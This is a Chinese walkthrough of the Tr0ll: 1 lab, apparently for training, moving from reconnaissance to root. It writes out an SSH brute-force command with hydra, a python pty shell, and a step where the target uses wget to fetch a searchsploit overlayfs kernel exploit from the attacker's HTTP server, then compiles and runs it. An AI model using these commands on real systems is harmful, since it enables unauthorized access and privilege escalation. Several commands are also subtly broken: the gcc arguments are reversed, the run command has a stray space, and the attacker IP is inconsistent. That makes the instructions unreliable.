Tr0ll: 1靶场
来自 <Tr0ll: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.181,靶场IP192.168.23.185
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.185
开放的端口:
21/tcp (FTP):
- 服务:vsftpd 3.0.2
- 匿名FTP登录:允许匿名访问 (FTP code 230),并且上传下载权限为 rwxrwxrwx,这是一个明显的风险,因为匿名用户可以修改文件。
- 文件 lol.pcap(8KB)可通过 FTP 下载,可能是一个潜在的敏感文件,值得进一步分析。
- FTP 服务没有启用加密,数据传输是明文的,这可能会导致数据泄露风险。
22/tcp (SSH):
- 服务:OpenSSH 6.6.1p1
- 该版本的 SSH 可能包含已知的安全漏洞,但具体需要查看是否有已知的漏洞影响该版本。
- Host Keys(服务器公钥)信息已列出:DSA、RSA、ECDSA、ED25519 四种类型的密钥。这些密钥是 SSH 协议中用来验证服务器身份的。
- 建议确认密钥是否匹配已知的指纹,尤其是在服务器部署过程中。
80/tcp (HTTP):
- 服务:Apache 2.4.7
- 网站似乎没有标题(text/html),并且服务器响应头显示是 Apache 2.4.7,可能存在一些已知漏洞(尤其是旧版本的 Apache)。
- robots.txt: 包含禁止访问的路径 /secret,这可能意味着存在一个可能包含敏感信息或私密数据的目录。
- 该网站的内容可能不多或是一个基础的 web 服务器配置,需要进一步探查是否有可利用的漏洞。
4,既然知道开放了21端口,那就对ftp服务器匿名登录访问
dir列出文件夹下的文件,分析存在一个流量包,直接把它导出来
常见的 FTP 服务器命令
命令 | 描述 |
USER <用户名> | 发送用户名进行登录。 |
PASS <密码> | 发送密码进行登录。 |
QUIT | 断开与 FTP 服务器的连接并退出。 |
CWD <路径> | 更改当前工作目录。 |
PWD | 显示当前工作目录。 |
LIST | 列出当前目录下的文件和目录。 |
NLST | 列出当前目录下的文件名(不包括详细信息)。 |
RETR <文件名> | 下载指定文件。 |
STOR <文件名> | 上传指定文件。 |
DELE <文件名> | 删除指定文件。 |
RMD <目录名> | 删除指定目录(目录必须为空)。 |
MKD <目录名> | 创建一个新的目录。 |
RNFR <旧文件名> | 重命名文件的源文件名。 |
RNTO <新文件名> | 重命名文件的目标文件名。 |
ABOR | 终止当前传输操作。 |
SYST | 获取服务器的操作系统类型。 |
TYPE <类型> | 设置文件传输的类型(例如 ASCII 或 Binary)。 |
PASV | 启用被动模式,客户端会在连接时打开一个端口等待服务器连接。 |
PORT <IP地址>,<端口> | 设置主动模式,服务器将连接客户端指定的 IP 和端口。 |
SITE <命令> | 向 FTP 服务器发送特定的 SITE 命令(如设置文件权限)。 |
HELP | 显示可用的 FTP 命令及其说明。 |
FEAT | 显示 FTP 服务器支持的扩展特性。 |
STAT | 获取 FTP 服务器的状态信息。 |
5,使用wireshark打开pcap文件
在info一栏注意到NO.40,分析详情信息,存在提示
好吧,好吧,好吧,你不是一个聪明的小恶魔吗,你差点找到Sup3rs3cr3tdirol:-P\n
\n
糟透了,你离得太近了。。。我要更努力\N
6,然后再访问http://192.168.23.185
一个没有什么用的静态页面,对其进行网页子目录枚举扫描
dirsearch -u http://192.168.23.185 -x 404,403
访问 http://192.168.23.185/robots.txt
http://192.168.23.185/secret/
被耍了,没有什么用,再访问/sup3rs3cr3tdirlol
下载到一个文件
wget http://192.168.23.185/sup3rs3cr3tdirlol/roflmao
7,file roflmao分析文件类型
文件分析总结:
- 文件类型:
- ELF 32-bit LSB executable:表明这是一个针对32位x86架构的Linux可执行文件,采用小端(Little-Endian)字节序。
- 架构与兼容性:
- Intel 80386:编译目标为传统的32位x86 CPU,需在支持IA-32指令集的系统或兼容环境(如64位系统安装32位库)下运行。
- 动态链接(dynamically linked):依赖外部共享库(.so文件),若系统中缺少相关库文件,程序将无法启动。
- 解释器路径(/lib/ld-linux.so.2):典型的32位动态链接器路径,64位系统需确保已安装32位兼容库(如Ubuntu的libc6:i386)。
- 编译环境:
- GNU/Linux 2.6.24:编译时使用的内核版本较旧(2008年发布),可能需注意glibc版本兼容性问题。若目标系统glibc版本低于编译时版本,程序可能无法运行。
- 调试信息:
- not stripped:保留符号表和调试信息,便于逆向工程或调试(如使用gdb时能看到函数名)。
- BuildID:
- SHA1哈希:可用于唯一标识该二进制文件,查询是否存在于公共数据库(如漏洞报告、恶意软件样本库)。
8,使用stings查看文件内容
Find address 0x0856BF to proceed意思暗示找到地址0x0856BF,访问之
分别查看网站的内容,
下载这个用户名字典
wget http://192.168.23.185/0x0856BF/good_luck/which_one_lol.txt
又得到了用户名密码
9,既然信息收集到了用户名字典和密码,接下来就是hydra爆破ssh
hydra -L which_one_lol.txt -p Pass.txt 192.168.23.185 ssh
就此成功爆破出来用户名/密码:overflow/Pass.txt
10,然后再进行ssh登录
使用python脚本启动一个可交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
再收集一下内核及版本信息
uname -a
lsb_release -a
11,搜搜提权利用exp
searchsploit overlayfs
将exp文件转储出来 searchsploit overlayfs -m 37292.c
开启http服务python http.server
使用靶场wget下载exp文件夹
cd /tmp
wget http://192.168.23.182:8000/37292.c
gcc编译C语言文件 gcc -o 37292.c 37292
给权限执行该文件
chmod +x 37292
./ 37292
12,成功变成root用户,cat得到flag